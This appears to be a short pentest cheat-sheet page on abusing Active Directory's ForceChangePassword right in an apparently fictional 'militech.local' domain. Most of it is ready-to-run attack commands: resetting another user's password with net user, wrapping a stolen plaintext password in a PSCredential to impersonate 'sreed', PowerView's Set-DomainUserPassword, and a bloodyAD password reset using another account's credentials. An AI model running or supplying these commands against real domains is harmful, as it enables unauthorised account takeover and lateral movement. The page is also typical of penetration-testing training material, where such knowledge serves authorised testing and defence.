ForceChangePassword

Change the user's password with net

Full Privileges Required!

net user songbird S4MUR41 /domain

Creating PSCredentials object

If we do not run PowerShell as other user, we may put their creds to secure PS object so we can impersonate him.

  1. With first command we are converting a plaintext password to SecureString (which protecting creds from memory reading).

  2. With second command we are putting that SecureString into PSCredentials object for further use.

PS C:\> $SecPassword = ConvertTo-SecureString 'h4ck4allth3th1ngs' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('MILITECH\sreed', $SecPassword)

Changing the user's password with PowerView

Here are are making a SecureString for new songbird's password and changing it using sreed's credentials in -Credential $Cred. PowerView Required!

PS C:\> $songbirdPassword = ConvertTo-SecureString 'S4MUR41' -AsPlainText -Force
PS C:> Set-DomainUserPassword -Identity songbird -AccountPassword $songbirdPassword -Credential $Cred -Verbose

BloodyAD

If you have right to change someone's password, you can use BloodyAD Tool [LINK]

bloodyAD --host 13.13.13.13 -d militech.local -u 's.reed' -p :4bfkohjaosdoi234hjhaf set password 'songbird' 'P@ssword123'

Here we changing songbird's password by using s.reed credentials.

Last updated